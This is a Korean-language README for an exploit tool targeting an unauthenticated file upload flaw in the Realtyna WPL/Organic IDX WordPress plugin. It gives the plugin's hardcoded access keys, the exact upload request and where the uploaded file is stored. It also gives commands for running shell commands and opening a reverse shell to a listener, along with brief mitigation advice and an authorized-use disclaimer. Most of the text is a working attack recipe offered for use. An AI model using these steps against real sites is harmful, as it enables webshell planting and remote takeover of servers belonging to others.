
Realtyna WPL/Organic IDX WordPress 플러그인의 인증되지 않은 임의 파일 업로드 익스플로잇으로, PHP webshell 업로드를 RCE로 연계하며 명령 실행 및 리버스 셸 모드를 지원합니다.
Realtyna WPL / Organic IDX WordPress 플러그인(real-estate-listing-realtyna-wpl ≤ 5.2.0)에서
RCE로 이어지는 인증되지 않은 임의 파일 업로드 취약점입니다.
이 플러그인은 공개 WordPress init 훅에 **"I/O 서비스"**를 등록하며,
사이트 루트에서 ?wplview=io&wplformat=io를 통해 인증 없이 접근할 수 있습니다. 유일한 관문은
플러그인 마이그레이션에 포함된 정적(static) 하드코딩 기본 키 한 쌍(모든 설치본에서 동일)이며,
io_status는 기본적으로 활성화되어 있습니다.
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
set_property 명령(libraries/io/mobile_application/set_property.php → wpl_file::upload)은
업로드된 file[]을 move_uploaded_file로 저장하며 확장자/MIME 검사가 없으므로 .php
웹셸을 업로드하여 웹 사용자 권한으로 실행할 수 있습니다.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data) 권한으로 인증 없는 RCEPython 3 표준 라이브러리만 필요 — 의존성 없음.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1 요청에
멀티파트 file[]을 image_<name>.php라는 이름으로 포함해 전송합니다. image_ 접두사는 제거되므로 파일은
<name>.php로 저장됩니다.wp-content/uploads/WPL/<pid>/<name>.php에 저장됩니다. 여기서 <pid>는
요청으로 생성된 프로퍼티의 id입니다(응답에는 표시되지 않음). 이 도구는
작은 프로퍼티 id들을 열거하여 웹셸을 찾습니다.…/<name>.php?c=<cmd>에 접속합니다.real-estate-listing-realtyna-wpl 플러그인 ≤ 5.2.0이 활성화된 WordPress 사이트. 엔드포인트는
GET /?wplview=io&wplformat=io(플러그인의 I/O 서비스)에서 응답합니다.
플러그인을 ≥ 5.3.0으로 업데이트하고, 업로드 확장자/MIME을 검증하며,
wp-content/uploads에서 PHP를 실행하지 말고, 플러그인의 정적 기본 I/O 키를 교체하십시오.
승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 소유하거나 테스트할 명시적 권한이 있는 시스템에만 사용하십시오.